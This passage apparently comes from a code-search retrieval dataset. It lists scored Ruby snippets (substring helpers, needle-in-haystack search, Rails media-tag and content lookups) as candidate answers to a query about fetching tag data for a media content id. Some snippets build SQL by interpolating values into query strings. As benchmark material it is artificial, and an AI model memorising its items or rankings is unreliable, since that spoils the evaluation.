"text": "def needle_in_haystack(haystack, needle)\n hay_length = haystack.length\n return -1 if needle.length > hay_length\n return 0 if needle.length < 1\n initial_index = 0\n ending_index = needle.length - 1\n while ending_index < hay_length\n return initial_index if haystack[initial_index..ending_index] == needle\n initial_index += 1\n ending_index += 1\n end\n -1\nend",
"title": ""
},
{
"docid": "b6aedf2c342636ebe855c27469400be2",
"score": "0.526531",
"text": "def find_match_backward(text)\n @position = nil if @position == 0 && @cycle\n offset = @position ? length - position : 0\n @history.reverse[offset..-1].detect.with_index do |item, index|\n if item.start_with?(text)\n @position = length - index - (offset + 1)\n end\n end\n end",
"title": ""
},
{
"docid": "84c84a0f3efefc9170e6ef390083e009",
"score": "0.5263064",
"text": "def find needle, options = {}\n options[:align] ||= 1\n options[:limit] ||= @find_limit\n\n if needle.is_a?(Fixnum)\n # silently convert to DWORD\n needle = [needle].pack('L')\n end\n\n if options[:align] == 1\n # fastest find?\n processed_bytes = 0\n sections.each do |section|\n next unless section.data # skip empty sections\n pos = section.data.index(needle)\n return section.va+pos if pos\n processed_bytes += section.vsize\n return nil if processed_bytes >= options[:limit]\n end\n end\n nil\n end",
"title": ""
},
{
"docid": "9a20600249c04fb01925c2f5427be33b",
"score": "0.5254547",
"text": "def find_splitting_ending_at(mat, j)\n splittings = []\n\n if j < 0\n splittings << []\n else\n mat.each_with_index do |row, i|\n if row[j]\n # if there is a word that ends at the position j,\n # find all splittings of the prefix (substring *before* this word),\n # and add this word to each of the prefix splittings.\n find_splitting_ending_at(mat, i-1).each do |pref_splitting|\n splittings << (pref_splitting.dup << [i,j])\n end\n end\n end\n end\n\n splittings\nend",
"title": ""
},
{
"docid": "4b5afe00dfb84ea906525eec1e3e5b56",
"score": "0.524704",
"text": "def substring(str)\n results = []\n 0.upto(str.length - 2) do |start_index|\n 1.upto(str.length - 1) do |end_index|\n results << str[start_index..end_index] if start_index < end_index\n end\n end\n results\nend",
"title": ""
},
{
"docid": "bdaa0f619d61aff1d66d1618edf2ef86",
"score": "0.52408814",
"text": "def substrings_at_start(string)\n result = []\n 0.upto(string.size - 1) do |index| \n result << string[0..index]\n end\n result\nend",
"title": ""
},
{
"docid": "2e31f9ca87f00a7b8793f949d674157f",
"score": "0.52260554",
"text": "def substrings_at_start(string)\n result = []\n 1.upto(string.length) do |position|\n result << string[0, position]\n end\n result\nend",
"title": ""
},
{
"docid": "7d0731d96b9fdad6d90e41685e3978ed",
"score": "0.5226048",
"text": "def substrings_at_start(string)\n string.chars.map.with_index do |_, idx|\n string[0..idx]\n end\nend",
"title": ""
},
{
"docid": "470b44796e14400f99937b45969e60aa",
"score": "0.52241075",
"text": "def substrings_at_start(string)\n string.chars.map.with_index { |_, index| string[0..index] }\nend",
"title": ""
},
{
"docid": "2a1f2f4071487aff599c2bb029c1b693",
"score": "0.5223504",
"text": "def original_word_offsets\n [original_word_offset(segment.from), original_word_offset(segment.to)]\n end",
"title": ""
},
{
"docid": "33bee56a0829eead9a5de646bc47aecd",
"score": "0.5223013",
"text": "def suffix index\r\n @string[self.index(index)..-1]\r\n end",
"title": ""
},
{
"docid": "e981eb6f31239232dd6e70677d097b05",
"score": "0.52226275",
"text": "def substrings_at_start(string, strt_index)\n result = []\n strt_index.upto(string.size - 1) do |index|\n result << string[strt_index..index]\n end\n result\nend",
"title": ""
},
{
"docid": "e5bf299c5879e7aa2efcfdaf1d620a47",
"score": "0.52220666",
"text": "def substrings_at_start(string)\n string.split(\"\").map.with_index do |_, index|\n string[0..index]\n end\nend",
"title": ""
},
{
"docid": "fe06cbaaab67332118c9e1ef64fb55fd",
"score": "0.52215886",
"text": "def find_indels()\n aaa = data_hash[:cigar].scan(/\\*|[0-9]+[MIDNSHPX=]/)\n current_index = 0\n ref_index = 0\n result_array = {}\n last_one_was_indel = false\n last_indel_length = 0\n last_indel_start = 0\n aaa.each do |subst|\n number_of_positions = subst.chop.to_i\n if ['I', 'D', 'N'].include? subst[-1].chr\n last_indel_length += number_of_positions\n last_one_was_indel = true\n else\n if last_one_was_indel \n result_array[last_indel_start] = last_indel_length\n end\n last_one_was_indel = false\n last_indel_length = 0\n end #end of condition\n \n result_array[last_indel_start] = last_indel_length if last_one_was_indel and last_indel_length > 0\n last_indel_start += number_of_positions\n end #end of each\n result_array\n end",
"title": ""
},
{
"docid": "1a07f4514f7af147f628b874b18a5fd9",
"score": "0.5219362",
"text": "def index_of_match_after_deletions; end",
"title": ""
},
{
"docid": "609e0806bea42bd0c1bf710ee7269595",
"score": "0.5214931",
"text": "def substrings_at_start(string)\n result = []\n 0.upto(string.size - 1) do |index|\n result << string[0..index]\n end\n result\nend",
"title": ""
},
{
"docid": "609e0806bea42bd0c1bf710ee7269595",
"score": "0.5214931",
"text": "def substrings_at_start(string)\n result = []\n 0.upto(string.size - 1) do |index|\n result << string[0..index]\n end\n result\nend",
"title": ""
},
{
"docid": "609e0806bea42bd0c1bf710ee7269595",
"score": "0.5214931",
"text": "def substrings_at_start(string)\n result = []\n 0.upto(string.size - 1) do |index|\n result << string[0..index]\n end\n result\nend",
"title": ""
},
{
"docid": "609e0806bea42bd0c1bf710ee7269595",
"score": "0.5214931",
"text": "def substrings_at_start(string)\n result = []\n 0.upto(string.size - 1) do |index|\n result << string[0..index]\n end\n result\nend",
"title": ""
},
{
"docid": "609e0806bea42bd0c1bf710ee7269595",
"score": "0.5214931",
"text": "def substrings_at_start(string)\n result = []\n 0.upto(string.size - 1) do |index|\n result << string[0..index]\n end\n result\nend",
"title": ""
},
{
"docid": "609e0806bea42bd0c1bf710ee7269595",
"score": "0.5214931",
"text": "def substrings_at_start(string)\n result = []\n 0.upto(string.size - 1) do |index|\n result << string[0..index]\n end\n result\nend",
"title": ""
},
{
"docid": "b8b4a52cdbb0f13a5036bdd1f706f90a",
"score": "0.521235",
"text": "def find_needle(haystack)\n haystack.each do |n|\n if n == 'needle'\n string = 'found the needle at position ' + haystack.index('needle').to_s\n puts string\n else\n false\n end\n end\nend",
"title": ""
},
{
"docid": "6218141e41e102a1186e49d08f10af8d",
"score": "0.5207081",
"text": "def substrings_at_start(str)\n arr = []\n (0...str.size).each { |ndx| arr << str[0..ndx] }\n arr\nend",
"title": ""
},
{
"docid": "6218141e41e102a1186e49d08f10af8d",
"score": "0.5207081",
"text": "def substrings_at_start(str)\n arr = []\n (0...str.size).each { |ndx| arr << str[0..ndx] }\n arr\nend",
"title": ""
},
{
"docid": "6218141e41e102a1186e49d08f10af8d",
"score": "0.5207081",
"text": "def substrings_at_start(str)\n arr = []\n (0...str.size).each { |ndx| arr << str[0..ndx] }\n arr\nend",
"title": ""
},
{
"docid": "3d1a7918d906c38cc5759cb17710d175",
"score": "0.52055347",
"text": "def find_existing_offset_index(offsets, rule_offset); end",
"title": ""
},
{
"docid": "fecfd3cddf960b6054cfc4a2e6dcfbcc",
"score": "0.52019143",
"text": "def find_needle(haystack)\n position = haystack.index(\"needle\")\n return \"found the needle at #{position}\"\nend",
"title": ""
},
{
"docid": "3ff4572bfe2fe757cd24467ed0c37eed",
"score": "0.51920754",
"text": "def substrings_at_start(string)\nnew_arr = []\n0.upto(string.size - 1) do |index|\nnew_arr << string[0..index]\nend\nnew_arr\t\nend",
"title": ""
},
{
"docid": "3ff4572bfe2fe757cd24467ed0c37eed",
"score": "0.51920754",
"text": "def substrings_at_start(string)\nnew_arr = []\n0.upto(string.size - 1) do |index|\nnew_arr << string[0..index]\nend\nnew_arr\t\nend",
"title": ""
}
] |
cb032fabab37461edc84193cfcaa00f4 | This method used for single media content id related tag list Gets the media content id Gets the front matter related to that tag list mediahelper.get_tag_data(12) | [
{
"docid": "e4a053be9dc4865b64a86d091fdca055",
"score": "0.7370788",
"text": "def get_tag_data(media_content_id)\n front_matter = ''\n content_tag_data = self.get_content_tag_from_media_content_id(media_content_id)\n if content_tag_data.fetchable? then\n front_matter = \"\\ntag: \"\n content_tag_data.each do |content_tag|\n tag = self.get_tags_using_media_tag_id(content_tag[1])\n if !tag.nil?\n tag_name = ContentHelper.purify_title_by_removing_special_characters(tag['WordPhrase'].strip)\n front_matter += \"\\n - #{tag_name.downcase}\"\n end\n end\n end\n if front_matter == \"\\ntag: \"\n return false\n end\n return front_matter\n end",
"title": ""
}
] | [
{
"docid": "8e9987699e1016f4303708e59b7081fe",
"score": "0.6922848",
"text": "def get_content_tag_from_media_content_id(media_content_id)\n begin\n content_tag_sql = \"SELECT * FROM contenttag WHERE MediaContentID = #{media_content_id}\";\n content_tag_data = Immutable.dbh.execute(content_tag_sql);\n return content_tag_data;\n rescue DBI::DatabaseError => e\n Immutable.log.error \"Error code: #{e.err}\"\n Immutable.log.error \"Error message: #{e.errstr}\"\n Immutable.log.error \"Error SQLSTATE: #{e.state}\"\n abort('An error occurred while getting content tag data from DB, Check migration log for more details');\n end\n end",
"title": ""
},
{
"docid": "f184779672fbdcfc2428217428953b73",
"score": "0.6626109",
"text": "def get_tags_using_media_tag_id(media_tag_id)\n begin\n media_tag_sql = \"SELECT * FROM mediatag WHERE MediaTagID = #{media_tag_id}\";\n media_tag_data = Immutable.dbh.select_one(media_tag_sql);\n return media_tag_data;\n rescue DBI::DatabaseError => e\n Immutable.log.error \"Error code: #{e.err}\"\n Immutable.log.error \"Error message: #{e.errstr}\"\n Immutable.log.error \"Error SQLSTATE: #{e.state}\"\n abort('An error occurred while getting media tag data from DB, Check migration log for more details');\n end\n end",
"title": ""
},
{
"docid": "5585a7f9629f094cd4b408f80f249bf8",
"score": "0.65801424",
"text": "def get_message_tag_data(media_content_id)\n message_tags = ''\n content_tag_data = self.get_content_tag_from_media_content_id(media_content_id)\n if content_tag_data.fetchable? then\n content_tag_data.each do |content_tag|\n tag = self.get_tags_using_media_tag_id(content_tag[1])\n if !tag.nil?\n tag_name = ContentHelper.purify_title_by_removing_special_characters(tag['WordPhrase'].strip)\n message_tags += \"#{tag_name.downcase},\"\n end\n end\n end\n message_tags.chomp!(',')\n end",
"title": ""
},
{
"docid": "72c8cf2c2745ab9d450a3668c46c501b",
"score": "0.6161504",
"text": "def media_for_blog_post(id)\n media_data = Mediahelper.get_media_content_by_media_content_id(id);\n return media_data;\n end",
"title": ""
},
{
"docid": "afee6bd1cef22ce785fc3af00d6d86cb",
"score": "0.5953599",
"text": "def set_media_content\n @media_content = MediaContent.find(params[:id])\n end",
"title": ""
},
{
"docid": "9ec97ac62f73b39151679be8509dccc9",
"score": "0.5951115",
"text": "def set_content_tag\n @content_tag = ContentTag.find(params[:id])\n end",
"title": ""
},
{
"docid": "06a392b07ad6bd73e6a4c6689f03fa2f",
"score": "0.5906903",
"text": "def media_id\n changes['media_id']\n end",
"title": ""
},
{
"docid": "3cca31c2747e0795ef67c4f7fe381b6f",
"score": "0.5897689",
"text": "def media_leg_id\n return @media_leg_id\n end",
"title": ""
},
{
"docid": "2b4271e21dda190b0861992769dcab8e",
"score": "0.5870978",
"text": "def tags\n if properties.key?(:media_content) and\n properties[:media_content][:url].present? and\n properties.key?(:media_thumbnail) and\n properties[:media_thumbnail][:url].present?\n %w[image]\n else\n []\n end\n end",
"title": ""
},
{
"docid": "3ccbdd3bfbb385a87441de30efb77d50",
"score": "0.5858572",
"text": "def content_id; end",
"title": ""
},
{
"docid": "b5ee71f9057ff435d29a6112dfe0c32f",
"score": "0.5743377",
"text": "def content_id\n id\n end",
"title": ""
},
{
"docid": "a25df76db7f4b058a9a4a76ffd5c7a79",
"score": "0.5730513",
"text": "def tag_content\n return @tag_content\n end",
"title": ""
},
{
"docid": "cc2505e7c9ccf3b615f72545150efc25",
"score": "0.5722788",
"text": "def get_media_content_by_media_content_id(id)\n begin\n content_sql = \"SELECT mediacontent.* FROM channelmedia\";\n content_sql += \" JOIN mediacontent ON mediacontent.mediaContentId = channelmedia.mediaId\";\n content_sql += \" WHERE postId = #{id}\";\n media_content = Immutable.dbh.execute(content_sql);\n return media_content;\n rescue DBI::DatabaseError => e\n Immutable.log.error \"Error code: #{e.err}\"\n Immutable.log.error \"Error message: #{e.errstr}\"\n Immutable.log.error \"Error SQLSTATE: #{e.state}\"\n abort('An error occurred while getting media content from DB, Check migration log for more details');\n end\n end",
"title": ""
},
{
"docid": "ae942c41f5bc861a664079fe254161d3",
"score": "0.5673951",
"text": "def get_tag(upload_id)\n \ttag =[]\n uploaded_media_id = UploadedMedium.find(upload_id)\n tag_ids = TagUploadedMedium.joins(:tag).where(\"uploaded_media_id = ?\",uploaded_media_id).map{|tag_data| \"#{tag_data.tag_id}\"}\n tag_ids.each do |tag_id|\n tag <<\tTag.find(tag_id).tag_name\n end\n tag.join(\",\")\n end",
"title": ""
},
{
"docid": "06b924518bcce754e82c57bb7d38f7de",
"score": "0.56231683",
"text": "def add_info_on_tag_ids\n desc_hash = Notion.where(locale: @lecture.locale || I18n.default_locale)\n .pluck(:title, :tag_id, :aliased_tag_id)\n .map { |x| [x.first.downcase, x.second || x.third] }\n .select { |x| x.first.in?(@content_descriptions.map(&:downcase)) }\n .to_h\n @content.each do |c|\n c['tag_id'] = desc_hash[c['description'].downcase]\n end\n end",
"title": ""
},
{
"docid": "fe08d800c5b62f13a624a980aa31941f",
"score": "0.5621794",
"text": "def media_promotion_list_id\n @media_promotion_list_id ||= client.lists({:filters=>{:list_name=>@group_name}})['data'].first['id'] \n end",
"title": ""
},
{
"docid": "6a43559a11a993babc15adfb174f537f",
"score": "0.5576507",
"text": "def case_media_list\n\t\t@case_media_attachments = @surgery_case.case_media.case_media_attachments\n\tend",
"title": ""
},
{
"docid": "01a0ffb5794502dd7ea042cc5635b8bf",
"score": "0.55557454",
"text": "def build_content_metadata record, tags\n # TODO: Further enrich the structured data by marking up FAQ accordions, Video Carousels, Image Galleries, etc.\n # Also ItemList metadata for the meditations archive\n # See here: https://developers.google.com/search/docs/data-types/article\n []\n end",
"title": ""
},
{
"docid": "365f4278c4429a21c788307fc547c562",
"score": "0.5534531",
"text": "def find_case_media\n\t\t@case_medium = CaseMedium.find(params[:id])\n\tend",
"title": ""
},
{
"docid": "4df62c0aa1ac3362f60b2101d4d7456b",
"score": "0.5522416",
"text": "def videoId\n #@video_data['items']['id']['videoId']\n videoId_ary = []\n @video_data['items'].each do |item|\n videoId_ary << item['id']['videoId']\n end\n # @video_data['items']['id']['kind']\n videoId_ary\n end",
"title": ""
},
{
"docid": "4cabf4dd36a2c689bfec035b6fda0bfc",
"score": "0.5513621",
"text": "def selfMedia\n myMedia = Medium.all.filter{|media| media.user_id == decoded_token}\n # ItinActiv = Activity.all.filter{ |activity| activity.itinerary_id == myItin.id }\n render json: myMedia\n end",
"title": ""
},
{
"docid": "e57e26b9b8e7887e32cc68be26a61853",
"score": "0.5502553",
"text": "def create\n \n if tag_params[:media_id].blank? || tag_params[:name].blank?\n render json: \"Both media identifier and tag name required\", status: :bad_request\n return\n end\n\n begin\n # Todo check blacklist\n\n # Check if tag exists\n if tag = Tag.where('name ilike ?', tag_params[:name]).first\n @tag = tag.name\n else\n @tag = Tag.create!(name: tag_params[:name], created_by: @user.id, fetch_more_content: true).name\n end\n\n # Check if user can add a specific tag\n # Right now we only filter on 'StaffPicks'\n if @tag == 'StaffPicks' and !@user.admin?\n render json: \"Only Staff can add StaffPicks\", status: :not_authorized \n return\n end\n \n # Set tagging on media\n @media = Media.find tag_params[:media_id]\n @media.tag_list.add @tag\n\n if @tag == \"NSFW\"\n @media.nsfw = true\n end\n\n @media.save! \n\n if tag_params[:vote].present?\n vote = Vote.create!(\n voter_type: 'User',\n vote_tag: @tag, \n voter_id: @user.id, \n votable_id: tag_params[:media_id], \n votable_type: 'Media',\n vote_flag: (tag_params[:vote] == 'up')\n )\n end\n\n # respond if tagged and voted\n if vote.try(:id)\n res = {tag: tag_params[:name], message: \"#{vote.vote_tag} and vote added to media\", vote: \"#{vote.vote_flag}\"}\n @user.voted_on << vote.id\n IncrementMediaVoteCount.perform_async(tag_params[:media_id], result.vote_flag)\n\n render json: res, status: :ok\n return\n elsif @media.id\n res = {tag: tag_params[:name], message: \"#{tag_params[:name]} added to media\"}\n render json: res, status: :ok\n return\n else\n raise 'tag not created'\n end\n\n rescue => e\n render json: \"Error: #{e}\", status: :unprossible_entity\n end\n end",
"title": ""
},
{
"docid": "1d0b609e3e0f43e53af5aed4f270546e",
"score": "0.5467514",
"text": "def get_media_elements(page)\n MediaElement.joins(:taggings).where(:taggings => {:tag_id => self.id}).order('media_elements.updated_at DESC').page(page)\n end",
"title": ""
},
{
"docid": "1b96cf9dadbc56d4f25d6bfb95c46aa9",
"score": "0.5459631",
"text": "def show\n @keyword = Keyword.find(params[:id])\n @medium = @keyword.media.first \n respond_to do |format|\n format.html # show.rhtml\n format.xml { render :xml => @keyword.to_xml }\n end\n end",
"title": ""
},
{
"docid": "8f6b5f99914958b37ed4bad1c93a839c",
"score": "0.5441869",
"text": "def render_meta_tags\n item = find_item\n\n if item.present?\n @meta_tags = item.meta_tags.published\n render meta_tags: @meta_tags\n end\n end",
"title": ""
},
{
"docid": "d4bef155725c4d410fb02587cad14d49",
"score": "0.5432834",
"text": "def media_list\n @redis.hkeys(\"contact_media:#{self.id}\") - ['pagerduty']\n end",
"title": ""
},
{
"docid": "02b590446521a98a39f3975f4bc373c7",
"score": "0.54213375",
"text": "def get_media_content\n begin\n video_sql = \"SELECT * FROM mediacontent\";\n video_sql += \" WHERE ContentTypeID = 1\";\n video_sql += \" AND ( iPodVideo IS NOT NULL AND iPodVideo != '') AND (iPodVideo LIKE '%mp4') ORDER BY RecordDate ASC\";\n message_video_content_data = Immutable.dbh.execute(video_sql);\n\n return message_video_content_data;\n rescue DBI::DatabaseError => e\n Immutable.log.error \"Error code: #{e.err}\"\n Immutable.log.error \"Error message: #{e.errstr}\"\n Immutable.log.error \"Error SQLSTATE: #{e.state}\"\n abort('An error occurred while getting message video content data from DB, Check migration log for more details');\n end\n end",
"title": ""
},
{
"docid": "7d8f3992552c8f6594abde5f9ebc8b71",
"score": "0.5416654",
"text": "def extract_related_content\n end",
"title": ""
},
{
"docid": "cba4827fde4e1917451fc41630d6b6a6",
"score": "0.53903747",
"text": "def set_media_tag\n\t\t# Creating the limitation for the media attachment tags\n\t\tmedia_tag_limit = setting.build_media_tag(media_tag_limit: params[:media_tag_limit])\n\t\t# creating the media tags limit\n\t\tif media_tag_limit.save\n\t\t# response to the JSON\n\t\t render json: { success: true,message: \"Media Tag limit Successfully Updated.\",response: {media_tag_limit: media_tag_limit.media_tag_limit.as_json }},:status=>200\n\t else\n\t render :json=> { success: false, message: media_tag_limit.errors },:status=> 203\n\t end\t\n\tend",
"title": ""
},
{
"docid": "e182663c44da8612106d0c3c39a28d7e",
"score": "0.5375857",
"text": "def media_leg_id=(value)\n @media_leg_id = value\n end",
"title": ""
},
{
"docid": "a992208df1b8b08e575146d6c3c87d52",
"score": "0.5375636",
"text": "def index\n @contents = if (@tag = params[:tag].to_s.strip).present?\n Content.by_tag(@tag)\n else\n Content.all\n end\n end",
"title": ""
},
{
"docid": "dc233544f8ae6274cb366efe7007dec6",
"score": "0.5358303",
"text": "def media\n return @media\n end",
"title": ""
},
{
"docid": "0a669301ad90ee29e19a2ed7a7f6939f",
"score": "0.5350099",
"text": "def get_meta_tags\n if @content_package\n\n if @content_package.meta_image_uid\n image = \"#{Settings.site_url}#{@content_package.meta_image.thumb('1200x630#').url}\"\n elsif @content_package.respond_to?(:hero_image) && @content_package.hero_image.present?\n image = \"#{Settings.site_url}#{@content_package.hero_image.thumb('1200x630#').url}\"\n end\n\n meta_title = @content_package.meta_title.presence || Settings.default_meta_title\n meta_description = @content_package.meta_description.presence || Settings.default_meta_description\n meta_keywords = @content_package.meta_keywords.presence || Settings.default_meta_keywords\n if @content_package.hide_from_robots?\n meta_hide_from_robots = \"<meta name='robots' content='noindex, nofollow' />\\n\"\n end\n\n else\n meta_title = content_for(:title) || Settings.default_meta_title\n meta_description = content_for(:description) || Settings.default_meta_description\n meta_keywords = content_for(:keywords) || Settings.default_meta_keywords\n meta_hide_from_robots = nil\n end\n\n meta_description = strip_tags CGI.unescapeHTML(meta_description.strip)\n\n meta_image = image || content_for(:meta_image) || \"#{Settings.site_url}#{asset_path(Settings.default_fb_meta_image)}\"\n\n meta_values = [meta_title, meta_description, meta_image, meta_keywords, meta_hide_from_robots]\n\n pig_meta_tags(meta_values)\n end",
"title": ""
},
{
"docid": "a3e9b7c9fe1a6e5cf6c61a66587cdbaa",
"score": "0.5339955",
"text": "def media\n parse(delete('media'))\n end",
"title": ""
},
{
"docid": "647b1b3278250da9d43d0a5fb8a80f82",
"score": "0.5336888",
"text": "def show\n @music = Music.find(params[:id])\n @tag_data_hash=tag_info(\"public#{@music.audio.to_s}\")\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @music }\n end\n end",
"title": ""
},
{
"docid": "eb0a4df4f65fe1016cf8094653975f89",
"score": "0.53244674",
"text": "def count_tags\n\t\t# checking the setting media tags is there or not\n\t\tif current_user.setting\n\t\t\t# count the media tag count id more than 0\n\t\t\tif current_user.setting.media_tag_limit.to_i > 0\n\t\t\t\t# count limit for that media attachment tag\n\t\t\t\t@tag_count = current_user.setting.media_tag_limit.to_i\n\t\t\tend\n\t\tend\n\tend",
"title": ""
},
{
"docid": "fe63fde6272d9217ed5ab59068ea7338",
"score": "0.53233445",
"text": "def enter_media_info_data(data_set)\n hide_notifications_bar\n enter_media_id_num data_set\n end",
"title": ""
},
{
"docid": "7761f180565a5db7bb24a6b194154be1",
"score": "0.53118366",
"text": "def ensure_correct_media_id\n # only fandoms tags must have medias\n return unless self[:type] == 'Fandom'\n\n uncategorized = Media.uncategorized\n\n # get the first media of the current tag which is not \"Uncategorized Fandoms\"\n current_media = ([self.media] + self.medias).compact\n media = (current_media - [uncategorized]).first\n\n # if we have a media, we don't need \"Uncategorized Fandoms\" as a media\n if media \n self.remove_media(uncategorized) if self.medias.include?(uncategorized)\n self.update_attribute(:media_id, media.id) if self.media == uncategorized\n end\n\n # make sure the tag has a media id\n if !self.media_id # we don't have a media id\n if !media # and we don't have a media\n # we don't have anything, but we're being wrangled, so add \"Uncategorized Fandoms\"\n self.update_attribute(:media_id, uncategorized.id)\n self.parents << uncategorized unless self.parents.include?(uncategorized)\n else # we do have a media\n # use the one for our first media\n self.update_attribute(:media_id, media.id)\n end\n end\n\n # if the media id isn't for our first media or \"Uncategorized Fandoms\", verify that it's a real media\n if !(self.media_id == uncategorized.id || (media && self.media_id == media.id))\n listed_media = Media.find(self.media_id)\n # it's not a real media or it's been removed\n if !listed_media.is_a?(Media) || !self.medias.include?(listed_media)\n if media\n self.update_attribute(:media_id, media.id)\n else\n self.update_attribute(:media_id, uncategorized.id)\n end\n end\n end\n\n end",
"title": ""
},
{
"docid": "b3c196c2d4d494588415c7776c8ab482",
"score": "0.5283117",
"text": "def media_list\n DATABASE.execute(\"SELECT media.cover_name FROM media_members JOIN media ON media_members.media_id = media.id WHERE media_members.member_id = #{id};\")\n end",
"title": ""
},
{
"docid": "b6d33c58010b4c16f03c3868abbfd38d",
"score": "0.5241134",
"text": "def content\n @content ||= if valid_attrs?(:content_id, :content_type)\n Object.const_get(content_type).find_by_id(content_id)\n end\n end",
"title": ""
},
{
"docid": "843f017ae1ac5304a1d54cae8ca0132c",
"score": "0.52393883",
"text": "def show\n @comment = Comment.new\n @comments = @event.comments.paginate(:page => params[:page], :per_page => 4)\n @event_attachments = @event.event_attachments.all\n @providers = @event.providers.all\n\n\nif @event.event_attachments.present?\nprepare_meta_tags(title: @event.nombre,\n description: @event.categoria, \n keywords: @event.tags\n)\nend\n\n end",
"title": ""
},
{
"docid": "15c312aab241bede38124a1fd6a9cdcc",
"score": "0.52267355",
"text": "def update\n @work = Work.find(params[:id])\n @media_asset = MediaAsset.all\n # tag = Tag.new\n # tag.work_id = params[:id]\n # tag.name = params[:tag]\n\n if params.include? 'tags'\n tag = Tag.new\n tag.name = params[:tags]\n tag.work_id = @work.id\n tag.save!\n end\n\n @work.media_id = params[:media_value]\n respond_to do |format|\n if @work.update_attributes(params[:work])\n format.html { redirect_to @work, notice: 'Work was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @work.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6de64de44a5d1889bd15db7db93ee133",
"score": "0.5225759",
"text": "def ajax_new\n min_id = params[:min_id]\n tag = params[:tag]\n\n #if bad parameters, just return nothing\n if min_id.nil? or tag.nil? or min_id == -1\n return nil\n end\n\n result = Instagram.client.tag_recent_media(tag, {:count => 10, :min_id => min_id})\n\n if !result.nil?\n return result.data\n end\n\n end",
"title": ""
},
{
"docid": "5bb3036341fc5dfa8053a4a3258f6afe",
"score": "0.5216752",
"text": "def enter_media_info_data(data_set)\n hide_notifications_bar\n enter_id_number data_set\n end",
"title": ""
},
{
"docid": "e8090ada23014a435d137558bdb588b0",
"score": "0.5208882",
"text": "def parse_attachment_reference_uuids_from_content(content)\n ids = []\n doc = Nokogiri::HTML(content)\n doc.css('img').each do |image|\n id = parse_attachment_reference_uuid_from_url(image['src'])\n ids << id if id\n end\n\n ids\n end",
"title": ""
},
{
"docid": "518fe9d0c6be3e2b0877cec26a9c2e1d",
"score": "0.51864004",
"text": "def show\n @contentBlock = ContentBlock.find(@group.chunk_id)\n @characterTags = CharacterTag.all\n @characters = GroupHasCharacter.where(:group_id => @group.id)\n @storylineTags = StorylineTag.all\n @storylines = GroupHasStoryline.where(:group_id => @group.id)\n\n end",
"title": ""
},
{
"docid": "b531a76c658dfa36683e680d71d6475d",
"score": "0.51778555",
"text": "def get_media_content_for_message(message_id)\n begin\n message_sql = \"SELECT * FROM mediacontent WHERE mediacontentid IN\";\n message_sql += \" (SELECT messagemediacontent.mediaid FROM messagemediacontent WHERE messageid = #{message_id})\";\n message_sql += \" AND (( iPodVideo IS NOT NULL AND iPodVideo != '') OR (HighQFilePath IS NOT NULL AND HighQFilePath != '' ))\";\n message_media_content_data = Immutable.dbh.execute(message_sql);\n\n return message_media_content_data;\n rescue DBI::DatabaseError => e\n Immutable.log.error \"Error code: #{e.err}\"\n Immutable.log.error \"Error message: #{e.errstr}\"\n Immutable.log.error \"Error SQLSTATE: #{e.state}\"\n abort('An error occurred while getting message media content data from DB, Check migration log for more details');\n end\n end",
"title": ""
},
{
"docid": "105d591a565c3cf7507df23153a30267",
"score": "0.51773506",
"text": "def show\n @tag = Tag.find(params[:id])\n if current_admin\n if params[:pin]\n @tag.photo_id = params[:pin]\n @tag.save\n end\n end\n # @category_photo = @tag.photo\n @photos = Photo.includes(:tags).where(:tags => {:name => @tag.name})\n @untagged_photos = []\n Photo.all.each do |p|\n @untagged_photos << p if p.tags.count == 0\n end\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tag }\n end\n end",
"title": ""
},
{
"docid": "d9c796b7d5cd5b8a364d94bead158393",
"score": "0.5175817",
"text": "def media\n self\n end",
"title": ""
},
{
"docid": "bfc9ef90fda636e89964391b5d3649c8",
"score": "0.51737493",
"text": "def media_elements_at\n case self.kind\n when AUDIO, VIDEO1, VIDEO2\n resp = self.media_elements_slides.first\n resp.nil? ? nil : resp.media_element\n when COVER, IMAGE1, IMAGE3\n self.media_elements_slides.first\n when IMAGE2\n resp = [nil, nil]\n mes = self.media_elements_slides\n resp[mes[0].position - 1] = mes[0] if !mes[0].nil?\n resp[mes[1].position - 1] = mes[1] if !mes[1].nil?\n resp\n when IMAGE4\n resp = [nil, nil, nil, nil]\n mes = self.media_elements_slides\n resp[mes[0].position - 1] = mes[0] if !mes[0].nil?\n resp[mes[1].position - 1] = mes[1] if !mes[1].nil?\n resp[mes[2].position - 1] = mes[2] if !mes[2].nil?\n resp[mes[3].position - 1] = mes[3] if !mes[3].nil?\n resp\n else\n nil\n end\n end",
"title": ""
},
{
"docid": "f8b7ea2e9d8d8550a65c3fd16d1b1312",
"score": "0.516701",
"text": "def get_all_comment_instances(media_id)\n if media_id.include? \"mp3\"\n media_id = media_id.split('++').first\n end \n comments_array = [[0], [\" \"]]\n Comment.eager_load(:user).where(uploaded_media_id: decrypt(media_id)).order(:audio_timing).map do |comment|\n unless comment.audio_timing.nil?\n comments_array[0] << comment.audio_timing\n comments_array[1] << \"#{comment.user.name} says #{comment.comment}\"\n end\n end\n comments_array[0] << UploadedMedium.find(decrypt(media_id)).duration\n comments_array[1] << \" \"\n comments_array\n end",
"title": ""
},
{
"docid": "3748f8106d3fb72429baf00843bfbbe3",
"score": "0.5156648",
"text": "def show\n @tags_ids = @document.tags.ids\n end",
"title": ""
},
{
"docid": "422be937450cae1c92d3f0c438fb5d24",
"score": "0.51315886",
"text": "def tag\n Tag.find(tag_id)\n end",
"title": ""
},
{
"docid": "94cca3b9599a87ff1d0e6841727d21a7",
"score": "0.51306474",
"text": "def content_for_open_graph_tag(tag, html)\n # html.xpath(\"//head/meta[@property='#{tag}']/@content\").first.try(:content)\n content_for_meta_tag(\"property='#{tag}'\", html)\n end",
"title": ""
},
{
"docid": "ece4e55a8f1c8a6a509d6055e2fbfc4d",
"score": "0.5129087",
"text": "def show\n @posts = Post.find(params[:id])\n @related_posts = Post.tagged_with(@posts.tag_list, any: true).limit(6)\n render layout: \"else\"\n end",
"title": ""
},
{
"docid": "30d06673100ce8a29edc49e6bd5d763a",
"score": "0.51268965",
"text": "def tag_list\n data[:tag_list]\n end",
"title": ""
},
{
"docid": "30d06673100ce8a29edc49e6bd5d763a",
"score": "0.51268965",
"text": "def tag_list\n data[:tag_list]\n end",
"title": ""
},
{
"docid": "e4d95a18d834a1266afefed4f7f8acbf",
"score": "0.5116665",
"text": "def medium_names\n primary_media | secondary_media | component_media\n end",
"title": ""
},
{
